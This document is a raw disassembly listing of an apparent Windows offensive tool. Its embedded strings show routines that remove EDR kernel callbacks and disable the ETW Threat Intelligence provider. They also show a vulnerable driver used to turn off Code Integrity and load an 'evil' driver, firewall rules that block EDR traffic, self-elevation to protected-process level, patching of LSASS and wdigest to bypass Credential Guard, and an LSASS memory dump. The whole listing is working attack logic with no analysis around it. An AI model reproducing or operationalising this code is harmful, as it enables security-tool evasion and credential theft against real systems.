call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400327a8]
call fcn.140013f14
lea rcx, str.___Checking_if_any_EDR_kernel_notify_rountines_are_set_for_image_loading__process_and_thread_creations...
call fcn.140013f14
mov edx, 0x3808
mov rcx, r15
call fcn.14000ef50
mov r13, rax
test rax, rax
jne 0x140002334
lea rcx, str.____Couldnt_allocate_memory_to_enumerate_the_drivers_in_Kernel_callbacks
call fcn.140013f14
jmp 0x14000394d
mov r8d, r14d
mov rdx, r13
xor ecx, ecx
call fcn.1400087b0
mov r8d, r14d
mov rdx, r13
mov ecx, r15d
mov ebx, eax
call fcn.1400087b0
mov r8d, r14d
mov rdx, r13
mov ecx, 2
or ebx, eax
call fcn.1400087b0
mov edi, eax
lea rcx, [0x140031f38]
or edi, ebx
mov dword [rsp + 0x6c], edi
call fcn.140013f14
lea rcx, str.___Checking_if_EDR_callbacks_are_registered_on_processes_and_threads_handle_creation_duplication...
call fcn.140013f14
mov rcx, r13
call fcn.140007c80
mov ebx, eax
mov dword [rsp + 0x70], eax
lea rax, str.present
test ebx, ebx
lea rdx, str.not_found
cmovne rdx, rax
lea rcx, str.____ObjectCallblacks__tObject_callbacks_are__s___n
call fcn.140001010
xor eax, eax
lea rcx, [0x140031f38]
mov r14d, eax
test edi, edi
sete r14b
test ebx, ebx
cmovne r14d, eax
call fcn.140013f14
lea rcx, str.____ETWTI__tChecking_the_ETW_Threat_Intelligence_Provider_state...
call fcn.140013f14
mov ecx, dword [rsp + 0x54]
call fcn.140008080
mov rdi, rax
test rax, rax
jne 0x140002415
mov ebx, edi
lea rdx, str.DISABLED
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
mov dword [rsp + 0x58], ebx
call fcn.140001010
lea rcx, [0x140031f38]
call fcn.140013f14
jmp 0x140002588
lea rsi, [rbp - 0x44]
mov rbx, r15
movabs rcx, 0x800000000000
movabs rax, 0xffff800000000000
xor edx, edx
mov qword [rbp - 0x78], rdi
mov qword [rbp - 0x80], rdx
xorps xmm0, xmm0
mov dword [rbp - 0x70], edx
mov dword [rbp - 0x54], edx
movdqu xmmword [rbp - 0x64], xmm0
cmp rbx, 4
jb 0x140002457
mov dword [rbp - 0x68], 4
jmp 0x14000246d
cmp rbx, 2
sbb eax, eax
add eax, 2
mov dword [rbp - 0x68], eax
movabs rax, 0xffff800000000000
mov dword [rbp - 0x6c], edx
cmp rdi, rcx
jb 0x1400039a4
cmp rdi, rax
jb 0x14000398c
call fcn.140005750
mov rcx, rax
lea r8, [rbp - 0x80]
xor eax, eax
mov r9d, 0x30
mov qword [rsp + 0x38], rax
mov edx, 0x80002048
lea rax, [rbp - 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x80]
mov dword [rsp + 0x28], 0x30
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [rbp - 0x68]
add rdi, rax
cmp rbx, 4
jb 0x1400024d3
mov eax, dword [rbp - 0x64]
mov dword [rsi], eax
jmp 0x1400024e8
cmp rbx, 2
jb 0x1400024e2
movzx eax, word [rbp - 0x64]
mov word [rsi], ax
jmp 0x1400024e8
movzx eax, byte [rbp - 0x64]
mov byte [rsi], al
mov eax, dword [rbp - 0x68]
movabs rcx, 0x800000000000
add rsi, rax
sub rbx, rax
movabs rax, 0xffff800000000000
jne 0x140002430
xor edi, edi
lea rax, str.ENABLED
cmp byte [rbp - 0x44], r15b
lea rdx, str.DISABLED
mov ebx, edi
lea rcx, str.____ETWTI__tETW_Threat_Intelligence_Provider_is__s__n
sete bl
test ebx, ebx
mov dword [rsp + 0x58], ebx
cmovne rdx, rax
call fcn.140001010
lea rcx, [0x140031f38]
call fcn.140013f14
lea rsi, [rdi - 1]
test ebx, ebx
je 0x140002588
mov r14d, edi
mov dword [rsp + 0x58], ebx
jmp 0x140002588
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file._Aborting..._n
call fcn.140013f14
jmp 0x14000394d
lea rdx, [rbp + 0xad0]
lea rcx, str.____Required_driver_file_not_present_at__s_nExiting..._n
jmp 0x140003948
mov ebx, dword [rsp + 0x58]
mov rsi, 0xffffffffffffffff
xor edi, edi
cmp r12d, 3
je 0x14000386c
test r14d, r14d
je 0x14000354f
lea rcx, str.___Process_is__safe__to_launch_our_payload_n
call fcn.140013f14
test r12d, r12d
je 0x1400032af
sub r12d, r15d
je 0x140003228
sub r12d, r15d
je 0x140002cee
sub r12d, 2
je 0x140002c62
cmp r12d, r15d
jne 0x1400029df
lea rcx, [rbp + 0xce0]
mov rax, rsi
nop
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400025e0
test rax, rax
jne 0x140002652
mov eax, dword [0x1400339f0]
lea r8, [rbp + 0xef0]
movups xmm0, xmmword [str.CiOffsets.csv]
lea rcx, [rbp + 0xce0]
mov dword [rbp - 0x68], eax
movsd xmm1, qword [0x1400339e8]
mov r9d, 0x104
movzx eax, word [0x1400339f4]
mov edx, r9d
movups xmmword [rbp - 0x80], xmm0
mov word [rbp - 0x64], ax
movsd qword [rbp - 0x70], xmm1
call fcn.1400105ec
mov r9d, 0xf
lea r8, [rbp - 0x80]
mov edx, 0x104
lea rcx, [rbp + 0xce0]
call fcn.1400105ec
lea rcx, [rbp + 0xce0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400027d6
test al, 0x10
jne 0x1400027d6
call fcn.140009140
mov rdx, rax
lea rcx, str.___Systems_ci.dll_file_version_is:__s_n
mov rbx, rax
call fcn.140001010
xor r12d, r12d
lea r8, [0x14003997c]
lea rdx, [rbp + 0xce0]
mov qword [rbp - 0x50], r12
lea rcx, [rbp - 0x50]
call fcn.140014900
mov r8, qword [rbp - 0x50]
test r8, r8
jne 0x1400026bf
lea rcx, str.____Ci_offsets_CSV_file_not_found___invalid._A_valid_offset_file_must_be_specifed_
call fcn.140013f14
jmp 0x140002799
mov edx, 0x800
lea rcx, [rbp + 0x2300]
call fcn.140014da4
test rax, rax
je 0x140002790
nop dword [rax]
lea rcx, [rbp + 0x2300]
call fcn.14000f390
lea r8, [rsp + 0x78]
mov qword [rsp + 0x78], r12
lea rdx, [0x140039a20]
mov rcx, rax
call fcn.140014ca4
mov r8, rax
lea rcx, [rbp + 0x40]
mov edx, 0x100
call fcn.140013b98
lea r8, [rbp + 0x40]
mov rax, rbx
sub r8, rbx
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140002734
add rax, 2
test ecx, ecx
jne 0x140002720
test edx, edx
je 0x140002754
mov r8, qword [rbp - 0x50]
lea rcx, [rbp + 0x2300]
mov edx, 0x800
call fcn.140014da4
test rax, rax
jne 0x1400026e0
jmp 0x140002790
mov rdx, rbx
lea rcx, str.___Offsets_are_available_for_this_version_of_ci.dll___s__
call fcn.140001010
lea r8, [rsp + 0x78]
xor ecx, ecx
lea rdx, [0x140039a20]
call fcn.140014ca4
mov rcx, rax
lea rdx, [rsp + 0x70]
mov r8d, 0x10
call fcn.140014a98
mov qword [0x14004dfe8], rax
mov rcx, qword [rbp - 0x50]
call fcn.1400149dc
cmp qword [0x14004dfe8], r12
jne 0x1400027b0
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_ci_in_use.
call fcn.140013f14
jmp 0x1400027d9
mov r14d, dword [rsp + 0x54]
test r14d, r14d
je 0x1400027de
mov r8, qword [0x14004dfe8]
lea rdx, [rbp + 0xce0]
lea rcx, str.___g_CiOptions_offset_found_using__s_file_:_0x_llx_n
call fcn.140001010
jmp 0x1400027de
xor r12d, r12d
mov r14d, dword [rsp + 0x54]
cmp dword [rsp + 0x5c], 0
je 0x1400029c5
cmp qword [0x14004dfe8], 0
jne 0x1400029f5
lea rcx, str.___Downloading_ci_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.140013f14
call fcn.140009090
mov rcx, rax
call fcn.1400044f0
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.140008dd0
mov rcx, rax
mov rdi, rax
call fcn.140009d10
mov rcx, qword [rdi + 0x70]
mov rbx, rax
test rcx, rcx
je 0x14000283d
call fcn.140013e2c
mov qword [rdi + 0x70], r12
mov rcx, rdi
call fcn.140013e2c
mov rcx, rsi
call fcn.140013e2c
test rbx, rbx
je 0x1400028dc
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x830
call fcn.14000ddf0
mov rdx, qword [rbx + 8]
lea r9, [rbp + 0x40]
mov rcx, qword [rbx + 0x10]
lea r8, str.g_CiOptions
mov dword [rbp + 0x40], 0x58
mov dword [rbp + 0x90], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
mov rdx, qword [rbx + 8]
test eax, eax
je 0x1400028a2
mov rax, qword [rbp + 0x78]
sub rax, rdx
jmp 0x1400028a5
mov rax, r12
mov rcx, qword [rbx + 0x10]
mov qword [0x14004dfe8], rax
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rbx]
call fcn.140013e2c
mov rcx, rbx
mov qword [rbx], r12
call fcn.140013e2c
cmp qword [0x14004dfe8], 0
jne 0x1400028f7
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.140013f14
jmp 0x1400029a6
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.140013f14
lea rcx, [rbp + 0xce0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400029a6
test al, 0x10
jne 0x1400029a6
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.140013f14
call fcn.140009140
lea r8, [0x140039ab4]
mov qword [rbp - 0x50], r12
lea rdx, [rbp + 0xce0]
mov rbx, rax
lea rcx, [rbp - 0x50]
call fcn.140014900
mov rcx, qword [rbp - 0x50]
test rcx, rcx
jne 0x140002967
lea rcx, str.____CI_offsets_CSV_file_cannot_be_opened
call fcn.140013f14
jmp 0x1400029a6
mov r8, rbx
lea rdx, [0x1400314fc]
call fcn.140005800
mov r8, qword [0x14004dfe8]
lea rdx, str.__llx
mov rcx, qword [rbp - 0x50]
call fcn.140005800
mov rdx, qword [rbp - 0x50]
lea rcx, [0x140031f38]
call fcn.140014b8c
mov rcx, qword [rbp - 0x50]
call fcn.1400149dc
test r14d, r14d
je 0x1400029be
mov rdx, qword [0x14004dfe8]
lea rcx, str.___g_CiOptions_offset_found_using_internet_MS_Symbol_Server_:_0x_llx_n
call fcn.140001010
mov rsi, 0xffffffffffffffff
cmp qword [0x14004dfe8], 0
jne 0x1400029f5
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file__or_use___internet_._Unsigned_driver_wont_be_loaded_..._n
call fcn.140013f14
mov dword [rbp - 0x48], r15d
mov r13d, dword [rsp + 0x50]
lea rcx, [0x140031f38]
call fcn.140013f14
jmp 0x140003871
lea rcx, [0x140031f38]
call fcn.140013f14
mov r13d, dword [rsp + 0x50]
test r13d, r13d
je 0x1400029e4
xor r9d, r9d
mov qword [rbp - 0x50], 8
lea rdx, [rbp - 0x50]
lea r8d, [r9 + 8]
lea ecx, [r9 + 0x67]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
test eax, eax
jns 0x140002a3a
mov edx, eax
lea rcx, str.____Failed_to_query_code_integrity_status:__08X_n
call fcn.140001070
mov eax, dword [rbp - 0x4c]
and al, 3
cmp al, r15b
jne 0x140002c45
call fcn.14000aab0
mov rdx, rax
test rax, rax
jne 0x140002a72
lea rcx, str.____CI_base_address_not_found___n
call fcn.140013f14
lea rcx, [0x140031f38]
call fcn.140013f14
jmp 0x140003871
mov rdi, qword [0x14004dfe8]
add rdi, rdx
test r14d, r14d
je 0x140002a90
mov r8, rdi
lea rcx, str.___CI.dll_kernel_base_address_found_at_0x_llx._The_g_CiOptions_is_at__llx___n
call fcn.140001010
lea rcx, [rbp + 0x1310]
mov rax, rsi
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002aa0
test rax, rax
jne 0x140002ad7
lea rdx, [rbp + 0xef0]
lea rcx, [rbp + 0x1310]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rdx, [rbp + 0x888]
lea rcx, [rbp + 0x1310]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x1310]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002c32
test al, 0x10
jne 0x140002c32
lea rcx, str.___Using_the_vulnerable_driver_to_disable_CI...
call fcn.140013f14
mov rcx, rdi
call fcn.14000acf0
xor edx, edx
mov rcx, rdi
mov r14d, eax
call fcn.14000b300
lea rdx, [rbp - 0x50]
mov qword [rbp - 0x50], r12
lea rcx, [rbp + 0x1310]
call fcn.140003b20
test eax, eax
je 0x140002b75
lea rcx, str.___Evil_driver_is_already_running__n
call fcn.140013f14
mov rcx, qword [0x140050208]
test rcx, rcx
je 0x140002b4b
call fcn.140013e2c
mov rcx, qword [rbp - 0x50]
call fcn.14000f390
mov qword [0x140050208], rax
test rax, rax
jne 0x140002c02
lea rcx, str.____Error_while_attempting_to_set_the_service_name.
call fcn.140013f14
jmp 0x140002c02
lea rcx, str.___Installing_evil_driver...
call fcn.140013f14
call fcn.140003e20
lea r8, [rbp + 0x1310]
mov rdx, rax
mov rcx, rax
call fcn.1400091f0
mov esi, eax
cmp eax, 5
jne 0x140002bcc
lea rcx, str.____0x00000005___Access_Denied_when_attempting_to_install_the_driver___Did_you_run_as_administrator_
call fcn.140013f14
call fcn.140003e20
mov rbx, rax
call fcn.140003e20
mov rdx, rax
lea rcx, str.____The_evil_service_should_be_manually_deleted_when_you_are_done_with_it:__ncmd__c_sc_stop__s_ncmd__c_sc_delete__s_n
mov r8, rbx
call fcn.140001010
jmp 0x140002bef
call fcn.140003e20
mov rbx, rax
call fcn.140003e20
mov rdx, rax
lea rcx, str.____The_evil_service_should_be_manually_deleted_when_you_are_done_with_it:__ncmd__c_sc_stop__s_ncmd__c_sc_delete__s_n
mov r8, rbx
call fcn.140001010
test esi, esi
je 0x140002bfb
lea rcx, str.____An_error_occurred_while_installing_the_evil_driver
call fcn.140013f14
mov rsi, 0xffffffffffffffff
lea rcx, str.___Using_the_vulnerable_driver_to_reset_original_CI_status
call fcn.140013f14
mov rcx, rdi
call fcn.14000acf0
mov edx, r14d
mov rcx, rdi
call fcn.14000b300
lea rcx, [0x140031f38]
call fcn.140013f14
jmp 0x140003871
lea rdx, [rbp + 0x1310]
lea rcx, str.____Required_driver_file_not_present_at__s_nExiting..._n
jmp 0x140003948
lea rcx, str.____CI_is_already_disabled__n
call fcn.140013f14
lea rcx, [0x140031f38]
call fcn.140013f14
jmp 0x140003871
lea rcx, str.___Configuring_Windows_Firewall_rules_to_block_EDR_network_access..._n
mov qword [rbp - 0x50], rdi
call fcn.140001010
lea rcx, [rbp - 0x50]
call fcn.1400073f0
test eax, eax
lea rdx, str.___Successfully_configured_Windows_Firewall_rules_to_block_EDR_network_access__n
lea rcx, str.____An_error_occured_while_attempting_to_create_Firewall_rules__n
cmovns rcx, rdx
call fcn.140001010
lea rcx, [0x1400327a8]
call fcn.140001010
lea rcx, str.___The_Firewall_blocking_rules_created_can_be_manually_deleted_using_the_following_commands:
call fcn.140013f14
mov rbx, qword [rbp - 0x50]
test rbx, rbx
je 0x1400029df
nop dword [rax]
mov rdx, qword [rbx + 8]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_name_s_n
call fcn.140001010
mov rdx, qword [rbx + 0x10]
lea rcx, str.netsh_advfirewall_firewall_delete_rule_name_s_n
call fcn.140001010
mov rbx, qword [rbx + 0x18]
test rbx, rbx
jne 0x140002cc0
jmp 0x1400029df
lea rcx, [rbp + 0x1520]
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140002d00
test rax, rax
jne 0x140002d69
movups xmm0, xmmword [str.WdigestOffsets.csv]
mov r9d, 0x104
lea r8, [rbp + 0xef0]
movups xmm1, xmmword [0x140033218]
mov edx, r9d
lea rcx, [rbp + 0x1520]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x140033228]
movsd qword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x70], xmm1
call fcn.1400105ec
mov r9d, 0x14
lea r8, [rbp - 0x80]
mov edx, 0x104
lea rcx, [rbp + 0x1520]
call fcn.1400105ec
lea rcx, [rbp + 0x1520]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
lea rbx, [0x14004ddd0]
lea r12, [0x14004dde0]
cmp eax, 0xffffffff
je 0x140002efb
test al, 0x10
jne 0x140002efb
lea rcx, str.___Loading_wdigest_related_offsets_from_the_CSV_file
call fcn.140013f14
call fcn.140005960
mov rdx, rax
lea rcx, str.___Systems_wdigest.dll_file_version_is:__s_n
mov rdi, rax
call fcn.140001010
xor r13d, r13d
lea r8, [0x14003997c]
lea rdx, [rbp + 0x1520]
mov qword [rbp - 0x50], r13
lea rcx, [rbp - 0x50]
call fcn.140014900
mov r8, qword [rbp - 0x50]
test r8, r8
jne 0x140002df0
lea rcx, [0x140039980]
call fcn.140013f14
jmp 0x140002edb
mov edx, 0x800
lea rcx, [rbp + 0x2300]
call fcn.140014da4
test rax, rax
je 0x140002ed2
nop word [rax + rax]
lea rcx, [rbp + 0x2300]
call fcn.14000f390
lea r8, [rsp + 0x78]
mov qword [rsp + 0x78], r13
lea rdx, [0x140039a20]
mov rcx, rax
call fcn.140014ca4
mov r8, rax
lea rcx, [rbp + 0x40]
mov edx, 0x100
call fcn.140013b98
lea r8, [rbp + 0x40]
mov rax, rdi
sub r8, rdi
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140002e64
add rax, 2
test ecx, ecx
jne 0x140002e50
test edx, edx
je 0x140002e84
mov r8, qword [rbp - 0x50]
lea rcx, [rbp + 0x2300]
mov edx, 0x800
call fcn.140014da4
test rax, rax
jne 0x140002e10
jmp 0x140002ed2
mov rdx, rdi
lea rcx, str.___Offsets_are_available_for_this_version_of_wdigest.dll___s___n
call fcn.140001010
mov rdi, rbx
nop word [rax + rax]
lea r8, [rsp + 0x78]
xor ecx, ecx
lea rdx, [0x140039a20]
call fcn.140014ca4
mov rcx, rax
lea rdx, [rsp + 0x70]
mov r8d, 0x10
call fcn.140014a98
mov qword [rdi], rax
add rdi, 8
cmp rdi, r12
jl 0x140002ea0
mov rcx, qword [rbp - 0x50]
call fcn.1400149dc
cmp qword [0x14004ddd0], r13
je 0x140002eed
cmp qword [0x14004ddd8], r13
jne 0x140002efe
lea rcx, str.____Offsets_are_missing_from_the_CSV_for_the_version_of_wdigest_in_use.
call fcn.140013f14
jmp 0x140002efe
xor r13d, r13d
cmp dword [rsp + 0x5c], 0
je 0x14000313b
cmp qword [0x14004ddd0], 0
je 0x140002f21
cmp qword [0x14004ddd8], 0
jne 0x14000313b
lea rcx, str.___Downloading_wdigest_related_offsets_from_the_MS_Symbol_Server__will_drop_a_.pdb_file_in_current_directory_
call fcn.140013f14
call fcn.1400058b0
mov rcx, rax
call fcn.1400044f0
xor edx, edx
mov rcx, rax
mov r14, rax
call fcn.140008dd0
mov rcx, rax
mov rsi, rax
call fcn.140009d10
mov rcx, qword [rsi + 0x70]
mov rdi, rax
test rcx, rcx
je 0x140002f67
call fcn.140013e2c
mov qword [rsi + 0x70], r13
mov rcx, rsi
call fcn.140013e2c
mov rcx, r14
call fcn.140013e2c
test rdi, rdi
je 0x14000305b
xor edx, edx
lea rcx, [rbp + 0x40]
mov r8d, 0x830
call fcn.14000ddf0
mov rdx, qword [rdi + 8]
lea r9, [rbp + 0x40]
mov rcx, qword [rdi + 0x10]
lea r8, str.g_fParameter_UseLogonCredential
mov dword [rbp + 0x40], 0x58
mov dword [rbp + 0x90], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
mov rsi, qword [rdi + 8]
test eax, eax
je 0x140002fcc
mov rax, qword [rbp + 0x78]
sub rax, rsi
jmp 0x140002fcf
mov rax, r13
xor edx, edx
mov qword [0x14004ddd0], rax
mov r8d, 0x830
lea rcx, [rbp + 0x40]
call fcn.14000ddf0
mov rcx, qword [rdi + 0x10]
lea r9, [rbp + 0x40]
lea r8, str.g_IsCredGuardEnabled
mov dword [rbp + 0x40], 0x58
mov rdx, rsi
mov dword [rbp + 0x90], 0x7d1
call qword [sym.imp.dbghelp.dll_SymGetTypeFromName]
mov rdx, qword [rdi + 8]
test eax, eax
je 0x140003021
mov rax, qword [rbp + 0x78]
sub rax, rdx
jmp 0x140003024
mov rax, r13
mov rcx, qword [rdi + 0x10]
mov qword [0x14004ddd8], rax
call qword [sym.imp.dbghelp.dll_SymUnloadModule64]
mov rcx, qword [rdi + 0x10]
call qword [sym.imp.dbghelp.dll_SymCleanup]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rdi]
call fcn.140013e2c
mov rcx, rdi
mov qword [rdi], r13
call fcn.140013e2c
cmp qword [0x14004ddd0], 0
je 0x140003128
cmp qword [0x14004ddd8], 0
je 0x140003128
lea rcx, str.___Downloading_offsets_succeeded__
call fcn.140013f14
lea rcx, [rbp + 0x1520]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140003134
test al, 0x10
jne 0x140003134
lea rcx, str.___Saving_them_to_the_CSV_file...
call fcn.140013f14
call fcn.140005960
lea r8, [0x140039ab4]
mov qword [rbp - 0x50], r13
lea rdx, [rbp + 0x1520]
mov rdi, rax
lea rcx, [rbp - 0x50]
call fcn.140014900
mov rcx, qword [rbp - 0x50]
test rcx, rcx
jne 0x1400030e2
lea rcx, str.____Offset_CSV_file_connot_be_opened
jmp 0x14000312f
mov r8, rdi
lea rdx, [0x1400314fc]
call fcn.140005800
mov r8, qword [rbx]
lea rdx, str.__llx
mov rcx, qword [rbp - 0x50]
call fcn.140005800
add rbx, 8
cmp rbx, r12
jl 0x1400030f1
mov rdx, qword [rbp - 0x50]
lea rcx, [0x1400327a8]
call fcn.140014b8c
mov rcx, qword [rbp - 0x50]
call fcn.1400149dc
jmp 0x140003134
lea rcx, str.____Downloading_offsets_from_the_internet_failed__
call fcn.140013f14
mov rsi, 0xffffffffffffffff
cmp qword [0x14004ddd0], 0
je 0x14000321c
cmp qword [0x14004ddd8], 0
je 0x14000321c
lea rcx, [0x140031f38]
call fcn.140013f14
mov r13d, dword [rsp + 0x50]
test r13d, r13d
je 0x1400031d5
lea rcx, str.___Self_protect_our_current_process_as_Light_WinTcb_PsProtectedSignerWinTcb___Light__if_PPL_are_supported_by_the_OS_Offset_of__PS_PROTECTION_exists_._This_will_allow_lsass_access_is_RunAsPPL_is_enabled
call fcn.140013f14
cmp qword [0x14004e208], 0
je 0x1400031d5
mov ecx, dword [rsp + 0x54]
call fcn.1400085d0
mov rbx, rax
test rax, rax
jne 0x1400031a2
lea rcx, str.____ERROR:_could_not_find_the_EPROCCES_struct_of_the_current_process_to_self_protect
call fcn.140013f14
jmp 0x1400031d5
mov rdx, rbx
lea rcx, str.____ProcessProtection__Found_self_process_EPROCCES_struct_at_0x_I64x_n
call fcn.140001010
add rbx, qword [0x14004e208]
lea rcx, str.____ProcessProtection__Protecting_own_process_by_setting_the_EPROCESSs_ProtectionLevel__at_0x_I64x__to_0x_hx__PS_PROTECTED_WINTCB_LIGHT__n
mov rdx, rbx
mov r8d, 0x61
call fcn.140001010
mov rcx, rbx
call fcn.14000b180
call fcn.140003ea0
test eax, eax
je 0x1400031fb
lea rcx, str.___LSASS_was_patched_and_Credential_Guard_should_be_bypassed_for_future_logins_on_the_system.
call fcn.140013f14
lea rcx, [0x140031f38]
call fcn.140013f14
jmp 0x140003871
lea rcx, str.____LSASS_couldnt_be_patched_and_Credential_Guard_will_not_be_bypassed.
call fcn.140013f14
lea rcx, [0x140031f38]
mov dword [rbp - 0x48], r15d
call fcn.140013f14
jmp 0x140003871
lea rcx, str.____The_offsets_must_be_computed_using_the_provided_script_and_added_to_the_offsets_CSV_file._LSASS_wont_be_patched..._n
jmp 0x1400029d6
lea rcx, str.___Kernel_callbacks_have_normally_been_removed__starting_cmd.exe_nWARNING:_EDR_kernel_callbacks_will_be_restored_after_exiting_the_cmd_prompt__by_typing_exit__nWARNING:_While_unlikely__the_longer_the_callbacks_are_removed__the_higher_the_chance_of_being_detected___causing_a_BSoD_upon_restore_is__n
call fcn.140013f14
xor edx, edx
lea rcx, [rbp + 0x1b30]
mov r8d, 0x208
call fcn.14000ddf0
mov edx, 0x104
lea rcx, [rbp + 0x1b30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
xor edx, edx
lea rcx, [rbp + 0x1730]
mov r8d, 0x208
call fcn.14000ddf0
lea r8, [rbp + 0x1b30]
mov edx, 0x104
lea rcx, [rbp + 0x1730]
call fcn.140013c00
lea r8, str.cmd.exe
mov edx, 0x104
lea rcx, [rbp + 0x1730]
call fcn.140013c00
lea rcx, [rbp + 0x1730]
call fcn.140013c80
jmp 0x1400029df
mov r13d, dword [rsp + 0x50]
test r13d, r13d
je 0x140003321
cmp qword [0x14004e208], 0
je 0x140003321
lea rcx, str._n___RunPPL_bypass:_Self_protect_our_current_process_as_Light_WinTcb_PsProtectedSignerWinTcb___Light__since_PPL_is_supported_by_the_OS._This_will_allow_access_to_LSASS_if_RunAsPPL_is_enabled
call fcn.140013f14
mov ecx, dword [rsp + 0x54]
call fcn.1400085d0
mov rbx, rax
test rax, rax
jne 0x1400032ee
lea rcx, str.____ERROR:_could_not_find_the_EPROCCES_struct_of_the_current_process_to_self_protect
call fcn.140013f14
jmp 0x140003321
mov rdx, rbx
lea rcx, str.____ProcessProtection__Found_self_process_EPROCCES_struct_at_0x_I64x_n
call fcn.140001010
add rbx, qword [0x14004e208]
lea rcx, str.____ProcessProtection__Protecting_own_process_by_setting_the_EPROCESSs_ProtectionLevel__at_0x_I64x__to_0x_hx__PS_PROTECTED_WINTCB_LIGHT__n
mov rdx, rbx
mov r8d, 0x61
call fcn.140001010
mov rcx, rbx
call fcn.14000b180
lea rcx, str.___Attempting_to_dump_the_process
call fcn.140013f14
lea rcx, [rbp + 0x8c0]
mov rax, rsi
nop word [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x140003340
test rax, rax
jne 0x1400033b9
lea rcx, [rbp + 0x870]
call fcn.14000f390
mov rcx, rax
mov rbx, rax
call qword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
lea r8, [rbp + 0xef0]
mov edx, 0x104
lea rcx, [rbp + 0x8c0]
call fcn.140013c00
lea r8, [0x140033058]
mov edx, 0x104
lea rcx, [rbp + 0x8c0]
call fcn.140013c00
mov r8, rbx
lea rcx, [rbp + 0x8c0]
mov edx, 0x104
call fcn.140013c00
test rbx, rbx
je 0x14000346e
jmp 0x140003466
lea rcx, [rbp + 0x8c0]
call qword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
je 0x14000346e
lea rcx, [rbp + 0x8c0]
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp word [rcx + rax*2], 0
jne 0x1400033e0
lea rdx, [rbp + 0xef0]
mov rcx, rsi
cmp word [rdx + rcx*2 + 2], 0
lea rcx, [rcx + 1]
jne 0x1400033f4
lea rdi, [rcx + 2]
mov edx, 2
add rdi, rax
mov rcx, rdi
call fcn.14000ef50
mov rbx, rax
test rax, rax
je 0x140003483
lea r8, [rbp + 0xef0]
mov rdx, rdi
mov rcx, rax
call fcn.140013c00
lea r8, [0x140033058]
mov rdx, rdi
mov rcx, rbx
call fcn.140013c00
lea r8, [rbp + 0x8c0]
mov rdx, rdi
mov rcx, rbx
call fcn.140013c00
mov r8, rbx
lea rcx, [rbp + 0x8c0]
mov edx, 0x104
call fcn.140013b98
mov rcx, rbx
call fcn.140013e2c
mov edx, 8
lea ecx, [rdx - 6]
call fcn.14000ef50
mov rbx, rax
test rax, rax
jne 0x1400034a4
lea rcx, str.____A_fatal_error_occurred_while_allocating_memory_for_thread_arguments
call fcn.140013f14
lea rcx, [0x140031f38]
mov dword [rbp - 0x48], r15d
call fcn.140013f14
jmp 0x140003871
lea rax, [rbp + 0x870]
xor edx, edx
mov qword [rbx], rax
xor ecx, ecx
lea rax, [rbp + 0x8c0]
mov r9, rbx
mov qword [rbx + 8], rax
cmp dword [rsp + 0x68], ecx
je 0x1400034dc
xor r14d, r14d
lea r8, [0x140005740]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], r14d
jmp 0x1400034ee
xor eax, eax
lea r8, [0x1400085c0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdi, rax
test rax, rax
je 0x140003526
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rbp - 0x48]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rbp - 0x48], 0
je 0x140003536
lea rcx, str.____A_fatal_error_occurred_during_the_LSASS_dump___execution_of_cmd.exe
jmp 0x14000352d
lea rcx, str.____An_error_occurred_while_attempting_to_start_the_new_thread...
call fcn.140013f14
mov dword [rbp - 0x48], r15d
mov rcx, rbx
call fcn.140013e2c
lea rcx, [0x140031f38]
call fcn.140013f14
jmp 0x140003871
call fcn.1400010d0
